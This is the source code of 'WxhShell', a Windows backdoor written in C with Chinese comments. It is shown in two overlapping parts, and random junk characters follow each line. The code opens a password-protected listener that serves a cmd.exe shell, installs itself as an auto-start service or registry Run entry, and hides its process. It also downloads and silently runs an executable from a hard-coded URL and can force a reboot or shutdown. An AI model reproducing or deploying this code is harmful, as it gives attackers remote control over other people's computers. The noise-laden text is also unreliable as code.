    if(Boot(SHUTDOWN)) `+Wl fk;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.,S-1D]h  
    else { s)8g4Yc*  
    closesocket(wsh); 2{| U  
    ExitThread(0); 6]CY[qEaR$  
    } +*lSB%`aS  
    break; u=p([ 5]  
    } *^}(LoPZ  
  // 获取shell xBl}=M?Qu  
  case 's': { m7~kRY514  
    CmdShell(wsh); ]@C&Q,~q  
    closesocket(wsh); k 32 Jz.\B  
    ExitThread(0); $:{uF#  
    break; J XbG|L  
  } )zz"DH  
  // 退出 Jd7+~isu~  
  case 'x': { ,M5zhp$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bTb|@  
    CloseIt(wsh); 8! pfy"  
    break; j@&F[r  
    } D}&U3?g=  
  // 离开 tb"UGa  
  case 'q': { v`*!Bhc-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u01x}Ff~6  
    closesocket(wsh); tg7%@SI5^-  
    WSACleanup(); HT[<~c  
    exit(1); :>\i  
    break; m';:):  
        } I[c/) N  
  } T%VC$u4F  
  } C8e{9CF  
v0apEjT  
  // 提示信息 &3:-(:<U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '>@ evrG  
} }BzV<8F  
  } TMT65X!  
/!P,o}l7  
  return; F  MHp a  
} ri.;&  
Oz-X}eM  
// shell模块句柄 jLM1 ~`&  
int CmdShell(SOCKET sock) Dc}-wnga  
{ a>ZV'~zTf  
STARTUPINFO si; !c[?$#W4  
ZeroMemory(&si,sizeof(si)); nulVQOj|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SdeKRZ{o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hDSt6O4za  
PROCESS_INFORMATION ProcessInfo; ~Yb5F YE  
char cmdline[]="cmd"; xKv\z1ra  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,KdD owc  
  return 0; ;vy"i  
} dNUi|IYm$  
p?>(y  
// 自身启动模式 }} J?, >g  
int StartFromService(void) bd5\Rt  
{  |'aGj  
typedef struct ~*79rDs{  
{ v1oq[+  
  DWORD ExitStatus; V<*PaS..  
  DWORD PebBaseAddress; |~Z.l  
  DWORD AffinityMask; )CD4k:bm  
  DWORD BasePriority; (1^AzE%U+Z  
  ULONG UniqueProcessId; 3-`IMN n!  
  ULONG InheritedFromUniqueProcessId; ; {iX_%  
}   PROCESS_BASIC_INFORMATION; y U =) g  
TMpV .iH  
PROCNTQSIP NtQueryInformationProcess; [U5[;BNRD  
/q^)thJ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bqWo*>l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hs!a'E  
&5h{XSv  
  HANDLE             hProcess; o:W>7~$jr=  
  PROCESS_BASIC_INFORMATION pbi; Ej~vp2  
c>6dlWTqX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G3 rTzMO  
  if(NULL == hInst ) return 0; YC8wo1;Y!  
%@k@tD6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ="Zr.g~8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .!e):&(8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2!Yq9,`  
a\pOgIp  
  if (!NtQueryInformationProcess) return 0; ;4>YPH  
I 8TqK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MKf|(6;~  
  if(!hProcess) return 0; ?x1sm"]p'  
_~/F-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SR!EQ<  
_2xNio&  
  CloseHandle(hProcess); -K eoq  
z6)b XL[f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *:gx1wd  
if(hProcess==NULL) return 0; }Go?j# !  
d,8L-pT$FM  
HMODULE hMod; ' ^E7T'v%  
char procName[255]; VHyH't_&s  
unsigned long cbNeeded; Oi%\'biM  
e=Ko4Ao2y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <`rmQ`(}s  
%A64AJZ  
  CloseHandle(hProcess); KSDz3qe  
~" |MwR!0  
if(strstr(procName,"services")) return 1; // 以服务启动 `?E|frz[  
`?f6~$1  
  return 0; // 注册表启动 +O"!*  
} )O\w'|$G  
10R#} ~D  
// 主模块 .);~H#  
int StartWxhshell(LPSTR lpCmdLine) ndg1E;>  
{ S52'!WTq  
  SOCKET wsl; ~tx|C3A`d  
BOOL val=TRUE; E)sC:oO  
  int port=0; J=7.-R|t  
  struct sockaddr_in door; 7+ +Fak  
-Pt.  
  if(wscfg.ws_autoins) Install(); -w'  
G\&9.@`k  
port=atoi(lpCmdLine); %hDx UZ#0  
niC ; WK  
if(port<=0) port=wscfg.ws_port; C2}n &{T  
]Q0m]OaT  
  WSADATA data; ~&HP }Q$#f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^/]w}C#:d  
4fauI%kc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }uP`=T!"8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " GRR,7A  
  door.sin_family = AF_INET; & pHSX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qlSI|@CO  
  door.sin_port = htons(port); =jv3O.zq  
#dA9v7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e~oh%l^C72  
closesocket(wsl); <<'%2q5  
return 1; BOt1J_;(rO  
} `vjn,2S}  
)qSjI_qt5  
  if(listen(wsl,2) == INVALID_SOCKET) { `]~1pc  
closesocket(wsl); %#t*3[  
return 1; 9*~bAgkWI  
} I]GGmN  
  Wxhshell(wsl); ^^,cnDlm  
  WSACleanup(); u00w'=pe)  
Ic2Q<V}oq  
return 0; :1asY:)vNP  
TOT#l6yqdd  
} M( w'TE@  
O06 2c)vIY  
// 以NT服务方式启动 /U$5'BoS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,3XlX(P  
{ *^y,Gg/  
DWORD   status = 0; 68*a'0  
  DWORD   specificError = 0xfffffff; gn//]|#H+  
A@uU*]TqJ8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lXpbAW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uB=DC'lkg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t=nZ1GZyM  
  serviceStatus.dwWin32ExitCode     = 0; 8k{KnH  
  serviceStatus.dwServiceSpecificExitCode = 0; b:WA}x V  
  serviceStatus.dwCheckPoint       = 0; k3(q!~a:.}  
  serviceStatus.dwWaitHint       = 0; QmgO00{  
lA{JpH_Y8s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .;\uh$c  
  if (hServiceStatusHandle==0) return; B4@1WZn<8  
e&@;hDmIX  
status = GetLastError(); X9 N4  
  if (status!=NO_ERROR) 7 D(Eo{ue  
{ 2Tp @;[!3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q~R%|Q{&  
    serviceStatus.dwCheckPoint       = 0; tm1#Lh0  
    serviceStatus.dwWaitHint       = 0; vh"wXu  
    serviceStatus.dwWin32ExitCode     = status; B>}B{qi|  
    serviceStatus.dwServiceSpecificExitCode = specificError; z:^ (#G{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8n/8uRIR  
    return; 9dVHh?E  
  } lvAKL>qX  
E3LEeXcLS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .oS[ DTn5S  
  serviceStatus.dwCheckPoint       = 0; &w!(.uDO  
  serviceStatus.dwWaitHint       = 0; 8]K+,0m6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )%q!XM  
} Tw,|ZA4XH  
6E@TcN~ ,!  
// 处理NT服务事件,比如:启动、停止 A$g'/QM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j/t)=c  
{ T mK[^  
switch(fdwControl) K 0e*K=UM  
{ \G0YLV~>P  
case SERVICE_CONTROL_STOP: |.z4VJi4  
  serviceStatus.dwWin32ExitCode = 0; {uDH-b(R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qTrM*/m:]L  
  serviceStatus.dwCheckPoint   = 0; 8-_atL  
  serviceStatus.dwWaitHint     = 0; .],:pL9d  
  { *Sg6VGP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ){LU>MW{&  
  } ::p%R@?  
  return; QE|x[?7e,!  
case SERVICE_CONTROL_PAUSE: (gRTSd T ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mEmgr(W  
  break; Cxd^i  
case SERVICE_CONTROL_CONTINUE: h ,\5C/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )[ QT ?;  
  break; q eDXG  
case SERVICE_CONTROL_INTERROGATE: 5O(U1 *  
  break; %I=/ y  
}; wRdN(`;v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tn"@u&P *  
} {%_D> y  
\9fJ)*-  
// 标准应用程序主函数 eZ]>;5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j[Jwa*GQP  
{ V%(T#_E/6  
An_3DrUFV_  
// 获取操作系统版本 KVevvy)W  
OsIsNt=GetOsVer(); 2]y Hxo/6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 63(XCO  
]z!Df\I  
  // 从命令行安装 Kv)Kn8df  
  if(strpbrk(lpCmdLine,"iI")) Install(); f?r{Q  
5)Z:J  
  // 下载执行文件 'rNLh3  
if(wscfg.ws_downexe) { Wf3{z D~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #_Zkke~{  
  WinExec(wscfg.ws_filenam,SW_HIDE); QFK'r\3 pU  
} p//mV H%  
Mtl`A'KQ/K  
if(!OsIsNt) { AC\y|X8-  
// 如果时win9x,隐藏进程并且设置为注册表启动 o5['5?i}/  
HideProc(); ;eJ|) *  
StartWxhshell(lpCmdLine); &_q8F,I \<  
} (}5};v  
else K5RgWP  
  if(StartFromService()) ]s0GAp"  
  // 以服务方式启动 194n   
  StartServiceCtrlDispatcher(DispatchTable); O2":)zU.  
else f %3MDI  
  // 普通方式启动 /2''EF';  
  StartWxhshell(lpCmdLine); 1,Es'  
s",G w]8  
return 0; U'^ G-@  
} l, 9r d[  
GTi=VSGqF  
n {\d  
0nvT}[\H*  
=========================================== i%GiWanG  
Z`f?7/"B  
/U,(u9bq  
u aYI3w@^  
F >H\F@Wl  
[wk1p-hf  
" x:i,l:x  
V["'eJA,,  
#include <stdio.h> n!sOKw  
#include <string.h> k& M~yb  
#include <windows.h> p(-EtxP  
#include <winsock2.h> /eT9W[a  
#include <winsvc.h> ]heVR&bQ  
#include <urlmon.h> xi=0 kO  
vT MCZ+^g  
#pragma comment (lib, "Ws2_32.lib") OLWn0  
#pragma comment (lib, "urlmon.lib") PdEPDyFkh  
:fDzMD  
#define MAX_USER   100 // 最大客户端连接数 q6hH]Q>w*  
#define BUF_SOCK   200 // sock buffer U# IPYyV  
#define KEY_BUFF   255 // 输入 buffer v-8{mK`9\  
([|^3tM  
#define REBOOT     0   // 重启 ~;-2eKw  
#define SHUTDOWN   1   // 关机 ~c5 5LlO>  
~Y{]yBGoF  
#define DEF_PORT   5000 // 监听端口 Lr20xm  
8QMMKO ui\  
#define REG_LEN     16   // 注册表键长度 <Qr*!-Kc6  
#define SVC_LEN     80   // NT服务名长度 elR1NhB|p  
Bp5 %&T k  
// 从dll定义API t<"`gM^|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m;nH v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9ei<ou_s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [VLq/lg*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I %sw(uoE  
"$b{EYq6  
// wxhshell配置信息 q,_E HPc  
struct WSCFG { N?8nlrDQ  
  int ws_port;         // 监听端口 bl^pMt1fv  
  char ws_passstr[REG_LEN]; // 口令 'K}2m  
  int ws_autoins;       // 安装标记, 1=yes 0=no EiP N44(  
  char ws_regname[REG_LEN]; // 注册表键名 ]T(qk  
  char ws_svcname[REG_LEN]; // 服务名 oCLM'\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E:O/=cT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e\O625  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ADM!4L(s4}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P8H2v_)X&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SmRFxqtN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 unRFcjEa  
w11L@t[5W8  
}; CKSs(-hkJ  
ks69Z|D  
// default Wxhshell configuration ?v-!`J>EF#  
struct WSCFG wscfg={DEF_PORT, 1FG"Ak}D  
    "xuhuanlingzhe",  $C,` ^n'  
    1, \rT>&o .i  
    "Wxhshell", -;;m/QM  
    "Wxhshell", s0CDp"uJY  
            "WxhShell Service", Z%b1B<u$  
    "Wrsky Windows CmdShell Service", ]ncK M?'O  
    "Please Input Your Password: ", U6o]7j&6  
  1, 1vAJ(O{-  
  "http://www.wrsky.com/wxhshell.exe", + rM]RFi  
  "Wxhshell.exe" +6~zMKp  
    }; 1D2RhM%  
uKTYb#E7  
// 消息定义模块 .g7\+aiTUd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IGo5b-ds  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C!nbl+75  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k nzo6  
char *msg_ws_ext="\n\rExit."; tkff\W[JU  
char *msg_ws_end="\n\rQuit."; Z^Wv(:Nr  
char *msg_ws_boot="\n\rReboot..."; %tPy]{S..  
char *msg_ws_poff="\n\rShutdown..."; aI|X~b  
char *msg_ws_down="\n\rSave to "; KU Mk:5 c  
1bDAi2 H  
char *msg_ws_err="\n\rErr!"; &LG|YvMY6  
char *msg_ws_ok="\n\rOK!"; eYn/F~5-  
f+.sm  
char ExeFile[MAX_PATH]; >I0 a$w  
int nUser = 0; Jh36NE8r  
HANDLE handles[MAX_USER]; 0W_u"UY$c  
int OsIsNt; ,1.Td=lY$  
w_;$ahsu~  
SERVICE_STATUS       serviceStatus; &os:h] C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5|`./+Ghk  
pV!WZ Ufg  
// 函数声明 2|(lKFkQ  
int Install(void); "\]]?&  
int Uninstall(void); }7K~-  
int DownloadFile(char *sURL, SOCKET wsh); [\%a7ji#  
int Boot(int flag); snNB;hkj  
void HideProc(void); ;TK$?hrv*1  
int GetOsVer(void); jK%Lewq  
int Wxhshell(SOCKET wsl); (dx~lMI  
void TalkWithClient(void *cs);  @k#xr  
int CmdShell(SOCKET sock); T11>&K)  
int StartFromService(void); x8C *  
int StartWxhshell(LPSTR lpCmdLine); _KBa`lhE  
:22wq{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *y` (^kyS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6\v4#  
rJB/)4 mE  
// 数据结构和表定义 2z AxGX  
SERVICE_TABLE_ENTRY DispatchTable[] = ;!7M<T$&  
{ b2j ~"9  
{wscfg.ws_svcname, NTServiceMain}, (^_I Ny*  
{NULL, NULL} 2T@?&N^OD  
}; : w>R|]  
R((KAl]dL  
// 自我安装 i=hA. y`  
int Install(void) -6X+:r`>u  
{ zz<o4b R  
  char svExeFile[MAX_PATH]; T-x9IoE  
  HKEY key; l1 _"9a%H  
  strcpy(svExeFile,ExeFile); ux 17q>G  
T[g(S0dz  
// 如果是win9x系统,修改注册表设为自启动 DK'S4%;Sp  
if(!OsIsNt) { \C2HeA\#SW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gv[(0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y:Jgr&*,z  
  RegCloseKey(key); dQAF;L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NF-@Q@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4af^SZ )l  
  RegCloseKey(key); `D$RL*C;M`  
  return 0; j0n.+CO-{  
    } }I#_H  
  } v-"nyy-&Z  
} !kH 1|  
else { 0,8RA_Ca}  
C~nL3w  
// 如果是NT以上系统,安装为系统服务 92N`Q}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \J;]g\&I"  
if (schSCManager!=0) & IsPqO  
{ ~jz51[{v  
  SC_HANDLE schService = CreateService rZ.z!10  
  ( o,?h}@  
  schSCManager, *D`$oK,U  
  wscfg.ws_svcname, ,E@}=x9p  
  wscfg.ws_svcdisp, N] pw7S%  
  SERVICE_ALL_ACCESS, RX^Xtc"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a1QW0d  
  SERVICE_AUTO_START, |0X~D}r|J  
  SERVICE_ERROR_NORMAL, ta'wX   
  svExeFile, 0bSnD|#I  
  NULL, rd=+[:7L  
  NULL, QBfo=9[=e  
  NULL, /#q6.du  
  NULL, FJ{&R Ld  
  NULL hx4c`fOs  
  ); I SdB5Va  
  if (schService!=0) Im]6-#(9\|  
  { @~&^1%37)  
  CloseServiceHandle(schService); gkca{BJ   
  CloseServiceHandle(schSCManager); qagR?)N)u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U]9k,#  
  strcat(svExeFile,wscfg.ws_svcname); WZP1g kX&M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b?, =|H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QNxxW2+  
  RegCloseKey(key); [8Z !dj   
  return 0; Ht]O:io`  
    } 5v=e(Ph +  
  } @Q&k6.{4Z  
  CloseServiceHandle(schSCManager); e nw*[D !  
} g+(Y)9h&  
} &^Gp  
F%O+w;J4  
return 1; <,U$Y>  
} mHH>qW{`  
.*J /F$  
// 自我卸载 f9)0OHa  
int Uninstall(void) a(G}<  
{ `lt[Q>Z  
  HKEY key; : JSuC  
kE[R9RS!  
if(!OsIsNt) { ,pVe@d'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $H&:R&Us  
  RegDeleteValue(key,wscfg.ws_regname); A!}Ps"Z  
  RegCloseKey(key); i|28:FJA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9kbczL^Y  
  RegDeleteValue(key,wscfg.ws_regname); "g!ek3w(  
  RegCloseKey(key); }'n]C|gZ  
  return 0; 2R;#XmKS  
  } x,fL656t  
} F6>oGmLy  
} 0Fsa&<{6?  
else { .S4%Q9l  
GLMpWD`Wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2h)Qz+|7  
if (schSCManager!=0) |=V~CQ]  
{ >Pvz5Hf/wW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yvu?M8aK!  
  if (schService!=0) 2@I0p\a  
  { #u +~ ^M  
  if(DeleteService(schService)!=0) { HuQdQ*Q  
  CloseServiceHandle(schService); vTIRydg2b  
  CloseServiceHandle(schSCManager); t >.=q:  
  return 0; 1jaK N*  
  } EG3u)}vI  
  CloseServiceHandle(schService); Ynp#3 r  
  } _1~pG)y$U  
  CloseServiceHandle(schSCManager); Vjd>j; H  
} Tk `|{Ph0  
} wrsr U  
JC;&]S.  
return 1;  _~S[  
} W! J@30  
7<Y aw,G  
// 从指定url下载文件 =F %lx[9Ye  
int DownloadFile(char *sURL, SOCKET wsh) rd)W+W9  
{ u1\r:q  
  HRESULT hr; =1<v1s|)q  
char seps[]= "/"; wxT( ktE  
char *token; QV4FA&f&  
char *file; 4=N(@mS  
char myURL[MAX_PATH]; Yb1Q6[!  
char myFILE[MAX_PATH]; a>Zp?*9  
'rA(+-.M;  
strcpy(myURL,sURL); 62K#rR S  
  token=strtok(myURL,seps); bfy=  
  while(token!=NULL) !/=.~B  
  { h 9}x6t,  
    file=token; Y%>u.HzL  
  token=strtok(NULL,seps); Pw5[X5.DX  
  } QZ*gR#K]Sz  
[ugr<[6  
GetCurrentDirectory(MAX_PATH,myFILE); MV07RjeS  
strcat(myFILE, "\\"); -=ZDfM  
strcat(myFILE, file); q;7DH4;t  
  send(wsh,myFILE,strlen(myFILE),0); }]JHY P\  
send(wsh,"...",3,0); aM(x--UR=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DKkilqVM  
  if(hr==S_OK) :T<5Tq*+x  
return 0; h Vui.]  
else !(Y,2{  
return 1; G.PRPl  
Ba** S8{/`  
} :\y' ?d- Q  
JV_VM{w{K  
// 系统电源模块 f[ia0w5 m  
int Boot(int flag) 4yjIR?  
{ DgY !)cS  
  HANDLE hToken; |"+Uf w^  
  TOKEN_PRIVILEGES tkp; mkl^2V13~  
1I)oT-~  
  if(OsIsNt) { C2\zbC[qm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A~ _2"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NB+/S;`  
    tkp.PrivilegeCount = 1; m(0X_& &?z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Lw]aHb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .8T0OQ4  
if(flag==REBOOT) { ]'-y-kqY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n7yp6 Db  
  return 0; IDL0!cF  
} ml /S|`Drk  
else { Yy6$q\@rV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HxcL3Bh$~}  
  return 0; M>}_2G]#F  
} Qkhor-f0  
  } $48 Z>ij?f  
  else { D3%2O`9  
if(flag==REBOOT) { q'TIN{\.{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &HtTh {  
  return 0; o"_'cNAz  
} W|y;Kxy  
else { 5pK _-:?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0G0(g,3p  
  return 0; Hmnxm gx  
} OHrzN ']  
} '$?!>HN4  
J0oeCb  
return 1; +-,iC6kK  
} `uH7~ r^  
euVj,m  
// win9x进程隐藏模块 -3guuT3x\  
void HideProc(void) iq[IZdza  
{ xc\zRsY`  
d325Cw?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vm'ZA7f6  
  if ( hKernel != NULL ) ?_cOU@n  
  { ,>8w|951'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~"NuYM#@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1hE{(onI  
    FreeLibrary(hKernel); N_Kdi%q  
  } z?( b|v  
x0:BxRx*  
return; ra>2<  
} -e sQyLx  
Iy&,1CI"]  
// 获取操作系统版本 WqF$-rBJG^  
int GetOsVer(void) =0!j"z=  
{ RZ;s_16GQ  
  OSVERSIONINFO winfo; Poa&htxe1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S!+>{JyQ  
  GetVersionEx(&winfo); y@I t#!u0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o]<9wc:FZ  
  return 1; a^pbBDi W  
  else Jazgn5  
  return 0; 2#r4dr0  
} :tI F*pC  
R&a$w8  
// 客户端句柄模块 0H]{,mVs  
int Wxhshell(SOCKET wsl) RHMXPsj  
{ Lj9RF<39g  
  SOCKET wsh; t(9q 6x3|e  
  struct sockaddr_in client; }m~MN4 l  
  DWORD myID; @un+y9m[C  
S2_(lS+R  
  while(nUser<MAX_USER) L+(ng  
{ zsJermF,O  
  int nSize=sizeof(client); Y[dq"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %dv?n#Uf  
  if(wsh==INVALID_SOCKET) return 1; M +r!63T  
-]H~D4ng  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "aCAA#$J  
if(handles[nUser]==0) (Bd'Pj]:  
  closesocket(wsh); XWyP'\  
else c38XM]Jeq  
  nUser++; 0GXY2+p}S  
  } .V?[<}OJn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8/BMFRJ  
pDSNI2  
  return 0; D fzsA4  
} \6JOBR  
-!:5jfT"  
// 关闭 socket #mA(x@:*  
void CloseIt(SOCKET wsh) OTdijQLY  
{ AyOibnoZ2E  
closesocket(wsh); rxH]'6kP  
nUser--; 1{ %y(?`  
ExitThread(0); });Rjg  
}  7-!n-  
DQm%=ON7  
// 客户端请求句柄 e)g &q'O  
void TalkWithClient(void *cs) n=vDEX:'  
{ $ VP1(C  
hW< v5!,  
  SOCKET wsh=(SOCKET)cs; $R1I(sJ  
  char pwd[SVC_LEN]; ,0 q1Id  
  char cmd[KEY_BUFF]; ]MosiMJF  
char chr[1]; h0@a"DqK  
int i,j; f$ xp74hw3  
d6YXITL)\>  
  while (nUser < MAX_USER) { 2_+>a"8Y  
6 AGZ)gX  
if(wscfg.ws_passstr) { hN &?x5aC>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A>1$?A8Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O9(z"c  
  //ZeroMemory(pwd,KEY_BUFF); I}3F'}JV<  
      i=0; g}xL7bTlI>  
  while(i<SVC_LEN) { Oo}h:3?  
pB 8D  
  // 设置超时 Y}N\|*ye-  
  fd_set FdRead; "4)N]Nj  
  struct timeval TimeOut; L2ydyXIsd  
  FD_ZERO(&FdRead); _y_}/  
  FD_SET(wsh,&FdRead); {YzCgf  
  TimeOut.tv_sec=8; f 7lj,GAZ  
  TimeOut.tv_usec=0; yXJ25Axb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DfD >hf/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2!Dz9m3  
E,}{iqAb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7|DG1p9C  
  pwd=chr[0]; v{VF>qE P  
  if(chr[0]==0xd || chr[0]==0xa) { cR/Nl pX  
  pwd=0; jTvcKm|q  
  break; gM\>{ihM'  
  } |'nQvn:{  
  i++; t?4H9~iH  
    } A51 a/p#  
zVq!M-e  
  // 如果是非法用户,关闭 socket f\]?,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <gkE,e9  
} alaL/p{O  
Yi*F;V   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &>,;ye>A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K8;SE !  
Z~~6y6p  
while(1) { >.d/@3 '  
b0{i +R  
  ZeroMemory(cmd,KEY_BUFF); %o0b~R  
P0,]`w  
      // 自动支持客户端 telnet标准   IR6W'vA  
  j=0; @MES.g  
  while(j<KEY_BUFF) { i[!|0U`p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *c$[U{Px  
  cmd[j]=chr[0]; EfrQ~`\  
  if(chr[0]==0xa || chr[0]==0xd) { ,Vhve'=*2  
  cmd[j]=0; N3n]  
  break; OlOOg  
  } i/x |c!E  
  j++; )4L2&e`k)(  
    } ^ ` y7JXI:  
CUu Owx6%  
  // 下载文件 4 XjwU`  
  if(strstr(cmd,"http://")) { wtTy(j,9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .h-mFcjy  
  if(DownloadFile(cmd,wsh)) d m8t ~38  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iBSM \ n  
  else im2mA8OH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #'_#t/u  
  } .\R9tt}  
  else { R| ?Q&F_$  
~~W.]>f  
